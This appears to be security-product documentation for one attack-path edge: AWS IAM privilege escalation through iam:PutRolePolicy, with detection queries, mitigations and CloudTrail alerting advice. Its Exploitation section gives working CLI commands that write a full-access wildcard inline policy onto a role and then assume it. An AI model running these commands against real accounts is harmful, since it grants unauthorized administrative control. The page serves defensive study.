> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_put_role_policy.md).

# AWS\_PUT\_ROLE\_POLICY

## Summary

|                            |                                        |
| -------------------------- | -------------------------------------- |
| **Forestall ACL Alias**    | AWS\_PUT\_ROLE\_POLICY                 |
| **Edge Type**              | Attack Path                            |
| **Affected Object Types**  | IAM Users, IAM Roles, IAM Groups       |
| **Exploitation Certainty** | High                                   |
| **AWS IAM Action**         | `iam:PutRolePolicy` on the target role |

## Description

A principal with `iam:PutRolePolicy` can write or replace an inline policy on any IAM role. Inline policies live inside the role object and take effect right away. There is no separate attach step like there is with managed policies.

A role that holds `iam:PutRolePolicy` scoped to itself can write itself an inline policy granting full access. Forestall ISPM flags that self-escalation path via Builtin query ID 33.

The edge is `(Attacker:AWSUser|AWSRole|AWSGroup) -[AWS_PUT_ROLE_POLICY]-> (TargetRole:AWSRole)`.

## Identification

```bash
# List principals with iam:PutRolePolicy
aws iam get-account-authorization-details \
  --filter User Role Group LocalManagedPolicy AWSManagedPolicy \
  --query "UserDetailList[?AttachedManagedPolicies[?contains(PolicyName, 'PutRolePolicy')]].[UserName]"

# Simulate privilege check
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:PutRolePolicy \
  --resource-arns "arn:aws:iam::*:role/*"

# List existing inline policies on a role
aws iam list-role-policies --role-name <target-role>
aws iam get-role-policy --role-name <target-role> --policy-name <policy-name>
```

PowerShell (AWS Tools):

```powershell
Get-IAMRolePolicyList -RoleName <target-role> | ForEach-Object {
    Get-IAMRolePolicy -RoleName <target-role> -PolicyName $_
}
```

## Exploitation

```bash
# Step 1: Write an inline policy granting full access to the target role
aws iam put-role-policy \
  --role-name <target-role> \
  --policy-name Escalation \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
  }'

# Step 2: Assume the now-escalated role
aws sts assume-role \
  --role-arn arn:aws:iam::<account-id>:role/<target-role> \
  --role-session-name escalation-session
```

## Mitigation

* Restrict `iam:PutRolePolicy` to dedicated IAM administrators. Deny it for service roles and instance profiles.
* Use permission boundaries so even a wildcard inline policy can't exceed the boundary.
* Apply SCPs to block inline policies with `"Action": "*"` or `"Resource": "*"` outside approved admin pipelines.
* Prefer managed policies over inline ones. Managed grants are easier to audit centrally.
* Check inline policies too. Run `list-role-policies`, not just `list-attached-role-policies`.

## Detection

| CloudTrail Event | Description                                             | Key Fields                                                                                                           |
| ---------------- | ------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------- |
| `PutRolePolicy`  | An inline policy was created or replaced on a role      | `requestParameters.roleName`, `requestParameters.policyName`, `requestParameters.policyDocument`, `userIdentity.arn` |
| `AssumeRole`     | A role was assumed after receiving an escalation policy | `requestParameters.roleArn`, `userIdentity.arn`                                                                      |

Alert when `policyDocument` contains `"Action": "*"` or `"Resource": "*"`, when the caller isn't an approved admin, or when `PutRolePolicy` is followed by `AssumeRole` on the same role within a short window.

## References

* [AWS IAM: PutRolePolicy API](https://docs.aws.amazon.com/IAM/latest/APIReference/API_PutRolePolicy.html)
* [Rhino Security Labs: AWS IAM Privilege Escalation Methods](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [AWS Security Best Practices: Inline vs Managed Policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#use-managed-policies)
